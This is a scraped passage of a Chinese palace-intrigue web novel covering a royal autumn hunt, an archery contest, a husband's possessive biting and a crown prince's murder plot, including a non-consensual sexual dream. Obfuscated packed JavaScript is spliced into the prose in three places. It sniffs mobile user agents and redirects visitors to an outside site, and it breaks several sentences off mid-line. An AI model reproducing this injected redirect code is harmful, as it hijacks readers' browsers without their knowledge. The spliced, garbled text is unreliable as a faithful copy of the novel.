封芙安眉眼微动,“那毒虫多吗,就是那种咬了能让人毁容的?” 翠兰茫然地愣了一会儿,“应该有吧,我从前听说那种飞蚂蚁咬人挺厉害的,咬在脸上很容易就红肿发炎溃烂,姑娘你是……” 封芙安心情大好,脸会烂才好。 那样才配得上封轸。 也不知道她脸烂了,封轸日后还愿不愿意为她出头。 午膳过后,鹿微眠也同样准备着过几日围猎要用的东西。 围猎她是肯定要去的。 这一回跟封行渊提前说过围猎可能会发生的事情,那应该就不会再发生了吧。 鹿微眠想着,还是有点不放心,上街特地采买了一些强身健体的丹药和跌打损伤的药膏。 她想得很简单,如果刺杀那种事由封行渊来防备比较合适的话,她可以做一些小事。 比如能让他有足够的精力应对,或者万一他受伤了手边也有能用得上的药。 但是她很少上街买药,这么重要的事情也不想假手于人。 因此鹿微眠在街上踟蹰了好半天,才选了一家药铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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封行渊不知道还需要准备什么,只是看着自己毛躁的头发,又看了看不远处小姑娘养得黑亮无比的长发,随口回道,“差不多了。” 他起身上前,捏住一缕。 指尖轻搓,那丝缎般的长发就顺着他手指滑落。 真漂亮的头发。 想要。 封行渊手指指环弹出细小的利刃,下意识想要割下来据为己有。 鹿微眠恰好起身,一缕长发被削落在少年掌心,她浑然不觉,“我今日上街采买了些药,你看着带点过去。” 封行渊并没有细听,只是看着手里的头发,断在他掌心的时候瞬间失去了生气。 他把玩着,试图编在自己的头发上,可惜怎么看怎么不如刚才好看。 封行渊有点烦,抬头看着丝缎般的长发乖巧地垂在少女身后,灵动无比。 似乎只有长在她身上,才能维持那漂亮的原貌。 封行渊并不喜欢这种,想要的东西不受自己掌控的感觉。 他烦躁地出神。 鹿微眠问他要不要,问了好几遍不见人回答,索性拿过来,“那个掌柜的说,吃了可以强健体魄、生龙活虎。但我也不知道是不是真的。” “你要不要现在试试看?” 19. 第19章 封行渊回神,根本没听她说的是什么。 他从来不相信这些生意人的说辞,也不会随便吃什么东西。 尤其是药。 封行渊拿过她手里的丹药瓶,起身放进了她收拾好的包裹里,“你若是想带就带上吧,如果想吃,我找你拿。” 鹿微眠见状也没坚持,走回床榻间上去准备睡觉,“那你到时候记得找我要。” 围猎当日,天清气朗。 皇家仪仗队伍浩浩荡荡地从皇城出发,长安城内声势浩大。每年秋猎的含义不同,在和平期间就正好是丰收时节,也通常是祭祀祈福的好日子,以祈求来年风调雨顺,城内百姓往往会借此机会庆丰收。 但如果是战乱危机年份,围猎就是皇家展现武备,整兵肃容的军政策略。 鹿微眠只记得,这是最后一场和平年间的围猎。 几乎所有人都不会预想到,不久的将来,这里会有一场近乎倾覆一切的战事和灾难。 因此,这次围猎场上的氛围极佳,大部分人都在商议着进了上林苑如何游玩。 鹿微眠还在认真清点着自己的行李。 暮云看鹿微眠带的东西,都是跌打损伤和包扎伤口用的,“夫人,怎么都是这些啊。” “猎场上刀箭无眼,这些得备着点。”鹿微眠收拾了一部分,叫暮云送去给父亲和弟弟,“叫阿峥小心着点,听父亲的话别乱跑。” 暮云拿了东西应着离开。 正好也到了猎场,各家下人们纷纷去领营帐和工具,准备搭建。 鹿微眠下了车就听见有人叫她。 她循声看见一个样貌温婉的女子,眼睛亮了一下,“褚楚姐姐。” 褚楚小跑着过来,“可算是让我见找你了,酸梅茶喝了吗?可还喜欢?” 鹿微眠见着她自然而然地拉过褚楚的手,“喜欢的,我最喜欢了。” 褚裕站在不远处,端着温和的笑,看着她们闺中好友相见。 褚楚瞧着鹿微眠面色红润,精神气也很好,隐约觉得她在封府应当过得还可以。 最起码不像是她想得那么糟糕,“近来可好?” “我挺好的。”鹿微眠环顾四周,“歆月姐姐没来吗?” “她来了,不过一早就被她母亲叫去陪着聊天了。”褚楚拿出来自己准备好的暖手炉,“瞧瞧你手凉的,山里天冷,这个给你。” 鹿微眠推脱着,“没事,你用吧,我不冷。” “专程给你准备的小姑奶奶,拿着吧,免得你生病了还要哼哼唧唧地麻烦我。” 鹿微眠细看暖手炉外面的绒线荷包上绣了一只小鹿,挽过褚楚,亲昵道,“谁让你这么厉害,我生的病你恰好都会治。” 不远处正在安排值守的封行渊听见了熟悉的撒娇声,视线扫了过来。 不过片刻就收了回去。 少年眉眼稍沉,想起前阵子她夸他厉害的场景。 哦。 原来谁在她那都可以厉害。 她眼里厉害的人怎么这么多。 听起来,多得好像杀不完。 没多久,朝堂官员要趁着太阳没下山,跟着皇帝皇后先去附近的皇家道观祭祖。 家眷倒是不必前去,但是需要在南凌池边放祈天灯。 大家在祈天灯上写上自己的愿望憧憬,告知上天,以求愿望成真。 各位官家夫人闲坐在一起,一面准备着放灯,一面闲聊。 伯爵夫人坐于主位,随手写了个,“河清海晏,时和岁丰。” 罗氏与几位夫人称赞不已,“还得是您,才有这般心胸。” “你们言重了,我不过是随手一写。”谷夫人端正而清肃,“国运昌盛了,我们才能好好度日。” 谷夫人转头问罗氏,“你想写什么?” 罗氏展开灯面,“我就写家和万事兴吧。” 谷夫人点头,“这也不错。” “说来也惭愧,”罗氏叹了口气,将这些时日的苦水倒出,“我们家新回来的侄子性格孤僻冷淡,认我们是怎么捂都捂不热,时常闹得家里不得安生,前阵子还把芙安吓着了。” “芙安那般好的性子,最是能体谅亲近人的,被他吓得整日哭闹。” “啊?”谷夫人认真地看她,“为何吓芙安?” “不过是芙安与他迎娶的新妇玩闹,不小心打坏了一个簪子,惹着新妇不快,便报复了芙安。” 一旁有人听不下去,“谁家的姑娘啊,怎么这般小气?不过一个簪子,还得理不饶人了?” “诶?”有人反应过来,“封府迎娶的新妇,该不会是……” “哎呀,”罗氏装模作样道,“也不能这么说,的确是芙安有错在先,还说着要赔她,谁知不能赔就……也是我们的错,不知那簪子那般金贵。” 此话一出,谁还能不知道封府新妇、鹿家姑娘心胸狭隘、小肚鸡肠。 纷纷沉默了下来。 罗氏心下得意,想着自己也算是出了一口恶气,坏了那鹿微眠的名声。 “芙安这孩子性子软,没那么多心思,想必日后与她多说些好话,人家也就不计较了。”罗氏继续在伯爵府谷夫人面前多说些封芙安的好话。 旁边有人出声,“你说得可是鹿家那位姑娘,鹿微眠?” 罗氏连忙露出一副不好多说的表情,“这也是我们的家事,我这个婶婶到底隔着一层关系,也不好说太多。” 罗氏将可怜劲演足,正等着旁人来同情她。 不成想,那人慵懒又毫不客气道,“既然知道自己说得太多,那不如就闭嘴吧。” “封轸与你为何不亲近,我们外人并不知道。”说话人就坐在谷夫人旁边,罗氏认得,那是谷夫人的长女,谷歆月,“但是阿眠与我自幼相熟,最是软绵好脾气。” “能把她惹不快的人,还真是少之又少。” 罗氏脸色一僵。 “要么是自私自利、薄情寡义的小人。要么是为非作歹、还信口雌黄颠倒黑白的恶人。”谷歆月打量着她,“但我也不好说你和令媛是哪一种,对不对?” 罗氏唇角抽动了一下。 周围人的视线在谷歆月和罗氏之间打了个来回,自动听从谷歆月的说法。 有人打着圆场,“可能是有些误会,也没有这么严重。” “是,我瞧着那姑娘也是好脾气,”罗氏试图转圜着,“只不过她嫁过来比较突然,可能也有些许不情愿,对待我们有些情绪那是正常的。” “对你们有什么情绪啊。”谷歆月看着她,“你说话能不能直接一点,不提如何玩闹,如何打坏的,总是这样一面之词、弯弯绕绕地指责人家小姑娘的错处很有意思吗?” “歆月。”谷夫人出声制止,“少说两句。” 谷歆月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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鹿微眠仔细看了一会儿自己写的祈愿,“他生分的时候是这样的,好在他没什么坏心眼,就是从前日子过得苦了些,难以与人接近,难以相信他人。” “他其实挺单纯的,你对他好一分,他也会还一分。不管是不是不想欠人情,比起那些自私自利没良心的人,都要强上百倍。” 褚楚听着她的话,弯起唇角,“如此便好。” 两人帮衬着在入夜时分跟大家一起将祈天灯放起来。 看着点点金红灯盏升入星空,南凌池边一阵一阵的嬉笑赞叹声。 鹿微眠拍了拍手上的灰尘,与褚楚在南凌池边闲逛。 祈天灯高悬入夜空。 朝官与皇室众人从道观出来,恰逢漫天祈天灯的佳景。 皇帝走在前面,沿着南凌池一面赏景一面回营地。 不少人在认领自己家眷的祈天灯,笑道,“这定是我家夫人写的,她与我说过……” “我家里定是还没放,他们要等我回去一起写。” 封行渊并没有当回事。 只是走在他前面不远处的慕青辞突然停下脚步,看向了夜空中某一处,才吸引了他的注意力。 封行渊顺着慕青辞的视线看过去,径直看见一枚火红透亮的灯盏上,赫然写着“愿父母弟弟、阿轸平安顺遂”。 祈天灯微光影影绰绰,映照在少年面容上,漆黑瞳孔深处映衬着灯盏光芒。 封行渊秀眉轻蹙。 竟然会有人希望他平安。 很新奇的祈愿。 新奇到封行渊一看就知道是谁写的。 20. 第20章 鹿微眠闲逛着,在万千灯盏吉祥话和祝福祈愿中瞧见一个,“愿阿姐得偿所愿”。 字迹有些眼熟,但一时想不起来是谁。 鹿微眠与褚楚闲聊,“那是谁写的,专门写给姐姐的还是少见。” 褚楚看着,“也不知谁家弟弟这般喜爱姐姐。” 鹿微眠轻轻掩唇,“我正好也有个弟弟。” 虽然那小子爱闯祸,但闯的祸都是为了她和家人。 鹿微眠一时好奇,提起裙摆,“我去瞧瞧他。” 鹿微眠凑到不远处,看见一个趴在石板上的少年。 少年长发束起,一身干练劲装,干脆利落,这会儿正在欣赏自己完美的字迹,“不愧是我。” 鹿微眠远远看去,那字豪放张狂得如同狗爬。 赫然写着“大郾第一大将在此”。 “……” 鹿微眠觉得自己应该是疯了,才觉得那字像他。 她深吸一口气,装没看见回去了。 鹿微眠回到营帐那边时,封行渊已经回去了。 他抱剑坐在营帐旁树下的巨石上,长靴踩着树木宽大的根系,安静地看着夜空中越来越渺小的灯盏。 许是听见了她回来的动静,才略微垂眸,漆黑尖利的瞳孔一瞬不瞬地看着她。 也不知在想什么。 鹿微眠走上前,刚好与坐在高大石块上的少年平视,“你这两日不用执勤?” 他言简意赅道,“明晚执勤。” 鹿微眠了然地点点头,转头看他刚刚看的地方,“你在看什么?” 封行渊越过这个问题,只道,“夫人越来越爱哄我了。” 鹿微眠被他突如其来的话弄得有些摸不着头脑,跳上了他坐的石块,“我怎么哄你了?” 封行渊沉默良久,“你这样会让我觉得,你是认真的。” 鹿微眠觉得他说话很奇怪,“我对你一直都是认真的啊。” 封行渊垂眸,定定地看着她。 看得鹿微眠不知为什么,察觉到了几分危险气息,“怎么了?” “我这个人比较记仇,如果有人玩弄我抛弃我背叛我,是要付出代价的。” 鹿微眠在黑暗之中与少年深不见底的黑瞳对视。 他那一角黑色面具映着寒夜里的冷光和一旁篝火的暖光,冰火两重天,直入她眼底。 鹿微眠眼睫颤了一下,没有明白他复杂的情绪,但是有点害怕,“你,不做对不起我的事,我怎么会抛弃你。” “什么是对不起你的事。”封行渊视线下移,盯住了少女纤细脆弱的脖颈。 他轮廓清晰的喉结轻滚一下,“咬你算吗?” 少年眼底显露出攻击性,但被黑夜模糊得并不明显。 在鹿微眠踟蹰着说“不算”后,突然伸手掐住了她的下颚,用力得咬在了她的肩上。 动作快到鹿微眠甚至没有反应过来,尖锐的疼痛就逼得她轻哼出声。 这一次比上一次要重一些。 他像是丛林深处孤立无援的猛兽,面对示好第一反应是试探。 按住对方,露出自己的獠牙和利爪,暴露凶性啃噬对方最脆弱且致命的地方,来确认对方是不是会被自己吓跑。 或者是给对方警告,现在走还来得及。 但她没有走。 而是被动地接受了他的试探。 鹿微眠眼尾沁出生理性眼泪,不知道他动不动咬人是什么毛病。 还是怨怪地一声,“疼……” 少年牙关松动了一些,没有再咬,但维持原状继续等待她的反应。 疼痛消散后,他的停滞就幻化成了酸麻。 鹿微眠缩了缩肩膀远离他的牙齿,没离开又被扣着下巴拉近。 少年身上干净清爽的清茶香气催促着她放松警惕。 封行渊把人拉过来,没有继续咬。 更像是试探后的安抚,舔舐被他弄出来的伤口。 他举动带有很强烈的兽性特征,赤裸裸地让人难以招架。 鹿微眠被舔一下就躲一下。 很怪异的感觉。 她视线被刺激出的泪水模糊掉,好在这里地方僻静又昏暗,鲜少有人过来。 但不妨碍她有点生气。 临睡前鹿微眠垮着一张脸,坐在镜子前气呼呼地涂药。 身后少年“好心”询问,“需要我帮你吗?” “不用。”鹿微眠回答得很干脆,但涂到一半就后悔了。 干嘛不用,他弄出来的就该使唤他。 但这会儿再叫他涂,鹿微眠有点没面子。 她盘算着下一次一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745889|156361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠狠使唤他。 不对,没有下一次。 “你能不能不要总是这么用力啊,咬破了都,你属狗的吗?” 封行渊坐在一旁,一声不吭地接受批评,“你说可以的。” “我没让你这么使劲。” “那我下次问你,怎么咬可以。” 听起来哪里怪怪的,“下次不能这样。” 封行渊这一回没接话。 他盯着少女裸露出来涂药的莹润雪肩,没有给保证。 鹿微眠以为是她的严肃唬住了自己听话的乖乖夫君,仍旧板着脸维持气势,上床睡觉。 鹿微眠又做噩梦了。 她梦见前世深宫内,她确认着那人晚上不会来了之后,开开心心地准备睡觉。 他已经三日没来了,兴许是被什么事绊住了脚。 不论如何于她而言是好事。 就在她沉溺于美梦时,房门被打开。 等她被惊醒的时候为时已晚,她被人从后面扣住下巴,压在床笫之间侵-入。 可怕的是她听不到熟悉的声音,闻不到熟悉的味道。 她不知道身后的人是谁。 她呜咽着挣扎询问,“谁,是谁?” 下一瞬却被压得更深,颈间被咬住,像是遏制住挣扎的困兽。 他不回答,鹿微眠怕极了是深宫中某个不知名的男人,竟然诡异的希望是他。 她惊惧之余喊着“王上”,求他不要吓她。 他才出声,“希望是我吗?” 她的身体先给出了答案,紧绷的心弦在一瞬间松开,和风细雨却趁她放松之际变成疾风骤雨。 “说话。” 她声音黏腻,透着劫后余生的酥-麻,“希望,希望是你。” 等她意乱神迷时,他才安抚性的舔-舐她的颈间咬痕。 他坏透了。 鹿微眠身体蜷缩着醒来。 睁开眼睛时,身边人已经早起去执勤。 鹿微眠呆坐在榻间久久没有回神,那股被欺负过的感觉仿佛还在身上残留着。 许久,她爬起来叫暮云备水沐浴,想清洗掉那些感觉。 但是越洗越清晰。 甚至不知为何,她隐隐觉得,那个人咬她后颈又安抚的感觉,和昨夜封行渊做的事情有些像。 21、第21章 鹿微眠不高兴,都怪他。 若不是他莫名其妙地咬她,她也不能再梦见那个人。 鹿微眠决定几日不理他。 这会儿营帐外面热闹非凡,鹿微眠坐在屋内梳妆都能听到外面的叫好声与欢呼声。 鹿微眠梳洗好出门,远远看见传来声音的地方是靶场。 看起来应当是今早刚刚开辟出来比试射箭的地方。 因为许多家眷不方便进山,因此营地内也有不少能够让女眷活动试练的地方。 比如这个靶场。 这会儿营地的人本来就多,近乎都聚集在靶场周围,将靶场围得水泄不通。 也不知道是谁在里面比试。 鹿微眠有些好奇,朝着靶场的方向走过去。 刚巧,封行渊回来,下马上前询问她伤口情况。 鹿微眠绕过他直接走开。 少年被晾在一旁,与她擦肩而过时转头看着她的背影。 手里还攥着一个药瓶。 凌一适时凑过来,“您惹夫人生气了?” 封行渊视线扫了过去。 凌一闭上嘴,但心下嘀咕。 实话还不让人说。 鹿微眠走到靶场外围,才看见了皇后在里面坐着观赏,旁边坐着淑妃。 难怪这里这么多人。 鹿微眠偷偷看了一眼上面的淑妃娘娘。 她美得极为出挑,桃花眸上翘,明眸皓齿,肤白若雪,仅仅是端坐在那里,便让人移不开眼睛。 大抵是察觉到了下面人的视线,淑妃看了过来。 鹿微眠心虚地移开视线,假装在看靶场上的风采。 这位淑妃娘娘,是她外祖父忠勇侯一家不可言说的秘密。 她外祖父再战场上曾救下的一名异族女子,照拂期间收入房中,诞下一女,也就是如今的淑妃。 这是她外祖父的私生女,也算是她母亲的姐姐,她的姨母。 后来不知怎的被先帝看上入了宫,极富盛宠,册封为兰昭仪。 其实当年她外祖父外祖母双双离世,先帝破例提拔她母亲和舅舅,有这位姨母很大的缘故。 后来先帝驾崩遗旨,召她殉葬。 但殉葬没有两年,新帝后宫就出现了一个长得一模一样的淑妃。 旁人没见过兰昭仪也就罢了。 忠勇侯府不会不知道。 因此,母亲一家都闭口不提她的这位姨母,也叮嘱她不能来往,当做不认识不知道。 淑妃也很默契的从不与他们交谈。 但每次见到淑妃,鹿微眠还是忍不住多看两眼。 她的确是美极,到底是这般美人,才能让两任帝王都魂牵梦萦。 鹿微眠收回视线,闲逛一圈,碰见她母亲也在看,开心地上前拉住叶绾的衣角,“母亲也对这个感兴趣啊。” 叶绾表情不太自然,很僵硬地扯了扯唇角,“嗯。” 鹿微眠察觉到叶绾的异常,抬头顺着叶绾的视线看过去,看到奖赏的区域放着一枚玉环。 她忽然记起,这奖赏是叶绾送外祖父出征保平安的物件。 随着忠勇侯在沙场殒命而丢失,估摸着是流落在民间寂静辗转又进贡到了朝廷。 前世母亲在猎场见到,很想将它带回,但苦于她们都不怎么会骑射。 只能眼睁睁地看着别人拿走,再去找人高价买的时候,人家以皇后赏赐不敢轻易转卖为由拒绝了。 鹿微眠眼帘轻垂,像是下了好大的决心才道,“母亲,我去帮你拿。” 叶绾有些意外,“你会吗?” 鹿微眠吭吭哧哧道,“我,会一点吧。” 叶绾大抵是真的想要,也没有阻拦她,只道,“尽力就好,一切随缘。” 鹿微眠点头,提起裙摆进了靶场。 鹿微眠拿箭上场,自然是吸引了一群人看过来。 实在是她那张糯米团子一般的脸,不像是能拉得动弓的。 不远处封芙安先冷笑一声,原本没打算上场,这会儿也来了精神,“瞧着她细胳膊细腿的,还会骑射?” 翠兰小声道,“打听过了,鹿府姑娘不精骑射,姑娘要试试吗?” 封芙安闻言放心,朝翠兰伸手,“给我。” 翠兰心领神会地将弓箭递了过去。 鹿微眠刚站稳,就看见封芙安站定在她旁边。 封芙安故意挤兑她,“四嫂还会这个?” 鹿微眠给自己留了点余地,“玩玩罢了。” 封芙安听她也没那么坚定,面上浮现几分轻蔑。 一旁掌事太监高喊着流程和顺序。 一次上十人,胜出者得赏赐。 鹿微眠有点紧张地整理着箭羽的羽毛,看着远处的靶心。 就在她还在紧张地时候,身边封芙安一箭正中靶心! 周围响起叫好声。 鹿微眠深吸了一口气,尽量摒弃掉周围的嘈杂声,搭箭拉弓,瞄准靶心。 这样的动作维持了许久,鹿微眠始终觉得自己心跳飞快,震着自己指尖发颤。 她深吸了一口气,还是闭上了眼睛。 四周陷入黑暗的瞬间,她仿佛才能不被周遭干扰。 封芙安不由得笑,“四嫂,你该不会还害怕……” 封芙安话还没说完,鹿微眠手中箭羽离弦,同样正中靶心。 封芙安瞬间噤声。 也近乎在一瞬间脸上的笑容消失,变得严肃。 不多时,封芙安不屑地想,这肯定是歪打正着,怎么能有人闭着眼还能正中靶心。 然而,接下来几发,鹿微眠逐渐领先于人。 靶场内外鸦雀无声,观察着鹿微眠的闭眼式打法。 谷夫人好奇地问叶绾,“眠眠还学了骑射?” 叶绾迟疑着,“在家也没见她学过啊。” 而另一边有人惊叹,“好嚣张的箭式。” “这是说闭着眼睛,我也能赢你们的意思吗?” 这话传入封芙安耳中,她脸色愈发难看。 有些被侮辱到的感觉。 就在所有人都在疑惑鹿微眠为什么闭眼时,只有凌一看到鹿微眠每次拿起箭羽,都要梳一梳尾羽让它规整漂亮的小动作。 这举动让他想到每次封行渊备箭时,都要求他们整理箭羽。 他们这位主子,杀人箭羽都要先挑尾羽漂亮的。 射箭时尾羽也不能乱,乱了他要不高兴。 凌一看向封行渊。 他什么时候偷偷带夫人骑射了,还让人家也养成了这么变态的习惯。 而此时,封行渊自然也注意到了这点。 但他一声不吭地看着,手里把玩着一颗石子。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 22、第22章 鹿微眠的优势已然很明显了。 如果后面不出差错,十有八九能拔得头筹。 到了中间添箭的时候,一个小厮跑上来,不小心撞倒了鹿微眠的箭篓。 他一面道歉,一面帮鹿微眠扶起来。 鹿微眠伸手再去拿,照旧搭箭瞄准,隐约察觉到了手感的异样。 鹿微眠凝眉犹豫了一会儿,正想要细看手上的箭,却听到身后太监催促着。 鹿微眠只能硬着头皮继续,松手之际,箭羽果然偏了弓,斜着飞了出去。 连靶都没碰到。 这一举令众人唏嘘不已。 鹿微眠一时间还以为是自己出了问题。 直到她弯身再去拿箭篓里的箭时,这才发现箭上被倒了油。 箭羽搭在弓上才会滑偏。 一旁封芙安问,“四嫂是没力气了?” 这话带了调侃和戏谑。 鹿微眠瞬间明白了什么,板起脸来,“这刀箭无眼,你少说两句,小心我偏了手刺中你。” 封芙安只当她是不甘心,唇角挂着一抹笑,又一发正中靶心。 鹿微眠叫人换了新箭。 但她手上也沾了油,怎么也不如一开始顺手。 鹿微眠再度拿起箭篓里的箭羽,瞄准对面的靶心。 这一次她试了很久找合适的角度,箭羽脱手,倒是比之前那个好了一些,但还是打在了外圈。 周围人渐渐追了上来。 她的优势也被追平。 只剩最后一发。 鹿微眠这一次理了很久的羽毛,一直理到所有人都结束了她才不得不拉弓搭箭,瞄准对面靶心。 鹿微眠深呼吸着平复心绪,想着母亲说的一切随缘。 其实射箭她本身就是半吊子,若非被那人折磨着陪他练习射箭,射中靶心一次可以让她休息一晚。 她也学不会。 大概是在那种境况下,她养成了只有什么都看不见才能大胆松手的习惯。 若是真没拿到,那可能的确无缘。 鹿微眠闭上眼睛。 松手。 长箭离弦而出,刺破空气,发出细微的尖锐气流声。 它飞旋在半空中,离靶心越来越远,直抵草靶外环。 就在箭尖即将刺中时,突然不知何处飞来一枚细小的石子。 “叮”地一声无人察觉的脆响。 但鹿微眠听见了。 她视线漆黑的时候,听力极其敏锐。 她秀眉轻蹙,正在辨别着那个声音,却又被鹿峥的惊呼声覆盖,“中了!” 封芙安难以置信,她刚刚明明看着那箭偏了的,怎么一下子又到靶心了?! 鹿微眠睁开眼睛,看见死死地钉在靶心的长箭,一时喜上眉梢,“真的中了。” 她还以为中不了的。 靶场周围传来赞叹声,“这鹿家姑娘倒是有些她外祖父忠勇侯的风范了。” “谁说不是,人家闭着眼睛都能拔得头筹,谁能做到。” 封芙安越听脸色越难看,索性气冲冲地出去。 一旁翠兰连忙安抚着她,“无妨,那玉环一看便是个老物件,也不怎么与姑娘相衬。” “便是不与我相衬,我也不想让她占尽风头。”封芙安还记恨着自己屋子被砸的事情。 “她也不过是歪打正着。”翠兰小声宽慰着,“且让她得意几日,那飞蚂蚁已经备好了。” 封芙安听到了什么感兴趣的事物,眼底明光一闪。 皇后在赏赐前本该说些什么,但她下意识地看向身边慕青辞,发觉他正一瞬不瞬地看着靶场内的少女,便没了心情说话。 反倒是淑妃出了声,赞赏地看她,“没想到封夫人聘聘婷婷,惊为天人。” 鹿微眠被这位没说过话的姨母夸赞,一时没想到,“臣妇献丑,谢皇后娘娘赏赐,谢淑妃娘娘盛赞。” 鹿微眠谢恩过后,赶忙离开靶场,将玉环递给叶绾,“母亲。” 叶绾喜不自胜,将鹿微眠揽入怀中,轻拍她脊背,“母亲多谢阿眠。” 她这才拿过玉环,看着上面的纹路,一时心绪万千。 但还是想起来询问鹿微眠,“你是几时学的骑射,我们怎么不知道?” 鹿微眠闻言有片刻的眼神闪躲,编了个谎话,“从前在宫里陪公主伴读的时候,学过一点。” 叶绾沉浸在喜悦之中,一时间也没有怀疑。 鹿微眠心神不宁的找了个由头离开。 其实前世她一直以为,骑射不过是那个人戏弄她的方式。 他站在她身后,将弓箭拉开,就像是打开了她的身体。 这种被钳制、被展开的感觉起先让她很不自在。 他最开始说射中靶心一次,可以休息一晚时,鹿微眠只觉得他无耻。 毕竟靶在哪,中没中都是他说了算,她什么都看不见。 但他在靶上挂了个风铃。 真的在教她怎么射箭,怎么中靶。 他说他喜欢听她的箭射中靶心带来的风铃震荡声,或者是她身上的宝石碰撞声。 二者取其一即可。 他们鲜少相处融洽的时候,鹿微眠隐约感觉自己并没有中靶,但会在箭飞出去之后,听到石子碰撞箭身的声音。 然后如愿传来靶心风铃震荡声。 她怀疑那是他看她被欺负狠了,有意放过。 可惜他仁慈的次数不多,尤其在她真的学会之后,他就很少让她碰箭,或者再拿这个理由避宠。 但她为什么刚刚会听到石子撞箭的声音。 鹿微眠脚步停下,方才的喜悦消散过去,就是无穷无尽地混乱。 还是说,这猎场上人多嘈杂,是她听错了。 而此时不远处封行渊手中石子已然消失不见,他还是拿着那瓶药迎上来人身影。 这会儿她高兴了,能跟他说话了吧。 不成想,封行渊还没走上前。 鹿微眠突然被一个女子半路截走。 鹿微眠看见来人,眼睛亮了亮,“歆月姐姐!” 谷歆月捧住她的脸捏了下,“淑妃娘娘说得不错,你真是惊为天人!” 鹿微眠矮了她半头,被捏着脸,说话嘟嘟囔囔,“其实我也是歪打正着。” “谦虚了吧。”谷歆月拉过她,“跟我讲讲,你什么时候学得骑射?” 封行渊看着鹿微眠乖乖地被人又揉又摸又抱,眼底闪过一丝乖戾的凶光。 他站在原地沉吟半晌,哂笑着,“她好哥哥好姐姐还挺多。” 封行渊转身离开。 凌一问着,“我们不去找夫人了吗?” 封行渊慢条斯理道,“她看起来现在不需要我。” 有点烦。 想杀人了。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 23、第23章 猎场试围圈以营地南侧为主。 封行渊带人溜达到北侧。 他仿佛早就料到太子会提前让人在什么地方埋伏。 游刃有余地撬出来了一伙太子伺机埋伏、准备做手脚的暗卫,杀了个干净。 鲜血溅满草场。 封行渊身心舒畅地带人去南侧开辟猎场。 围猎第一日,慕青辞傍晚回到营帐。 斟茶之时有片刻的愣神,满脑子都是白日里,鹿微眠在靶场时的样子。 她差一点就是他的太子妃。 现如今,他们都叫她封夫人。 茶水溢出杯盏,沾湿衣袖他才反应过来。 慕青辞将茶壶放在一旁,本想拿帕子擦拭,抬手看见帕子上绣着的麋鹿又将帕子收了起来。 换了一方素帕擦拭。 他明明是太子。 一人之下,万人之上。 偏就这一门婚事,皇帝听信司天台谗言,不肯松口。 他不会放手的。 哪怕是臣妻又如何。 慕青辞出神之际,姜崇面色沉肃地进了营帐,“殿下,今日派出去的精兵被封轸发现了。” 慕青辞一时没回神。 姜崇不得不上前靠近两步,声音大了些,“殿下!” 慕青辞慢慢抬眼,晦暗瞳孔盯着姜崇。 姜崇不由得低头示意,“殿下,奴才打扰是有要事,咱们派出去的精兵暗卫被封轸发现了,折损大半。” “那就再派出去一批,”慕青辞嗓音沉缓,眼底氤氲着细微暗流,“封轸,此番围猎必须死。” 封轸死了。 封夫人,就属于他了。 他早该在利用完封轸的药身后就杀了他。 何苦留到今日成为祸患。 慕青辞还记得第一次对封轸动杀心的时候,是十岁。 那个时候,父皇越来越喜欢淑妃诞下的三皇子,言谈间,想要将其立为储君。 这个世上,没有人能动摇他的储君之位。 在三皇子一次偶然风寒时,他差人将药材换了,导致三皇子高烧不退,烧坏了脑子。 如痴儿一般。 父皇勃然大怒,彻查太医院用药。 由于太医院当时有很大一批药材要拿来给封轸喂药,因此弄混也没人会想到是他做的手脚。 小药童弄混了药,杀了便是。 即便是找到封轸头上,都不会找到他头上。 一个儿子傻了,父皇不会再找另一个儿子的麻烦。 审讯的人召封轸前去问话,封轸却凭空猜出来是他做的手脚。 但谁敢指认太子。 审讯的人忙说封轸是被灌药灌疯了,胡言乱语。 封轸被送回来当日,就被他关进了内室。 安排了两个小太监轮番“教导”他该如何说话。 但第二日,那两个小太监全死了。 慕青辞还记得,封轸在那间内室里,与他相对而坐。 内室光线昏暗,外面的日光照不进来,屋内还有阴湿血腥的潮气。 他们两人,坐在还有死人的屋子里,谁都平静无比。 那少年唇角沾血,在暗处犹如地狱而来的修罗,“被我发现了吗?” 少年笑了起来,“慕青辞,你承认吧,你我是一类人。” “我们的腑脏都烂透了。” 慕青辞在那一刻动了杀心。 怎么能有人知道他的真面目。 他以封轸的药血为生,变成和他一样的疯子。 但他想,他和封轸不一样。 最起码,所有人都觉得他是好人。 谁会信封轸的话。 如今,只要封轸死了,他夺兵权夺臣妻。 那这天下,很快就是他的了。 此后没有人会知道,他已经烂透了。 * 入夜,营地内升起篝火,分布在营帐周围,驱赶可能会误闯的野兽。 众人围坐在篝火旁闲话家常或炙烤宴饮。 鹿微眠与他们聊着聊着就到了就寝时分。 周围的朝官与官眷纷纷四散离开。 谷歆月环顾四周,“今晚封提督是不是不回来?” 鹿微眠抿唇,“嗯。” 她记得他说今晚执勤。 谷歆月问她,“那你害怕吗?” 鹿微眠偷偷看了她一眼,又敛起视线。 怕是有点怕的,但是,“没事的,我可以。” 谷歆月轻笑出声,“你若是实在害怕,也可以来我的营帐,和我一起睡。” 鹿微眠纠结了一会儿,“还是算了吧,这样不太好。” 尚在闺中的时候还好,如今她已经嫁人了,再去人家未出阁的女孩子房中过夜,有些不太合适。 谷歆月又问一遍,“真的不去吗?” 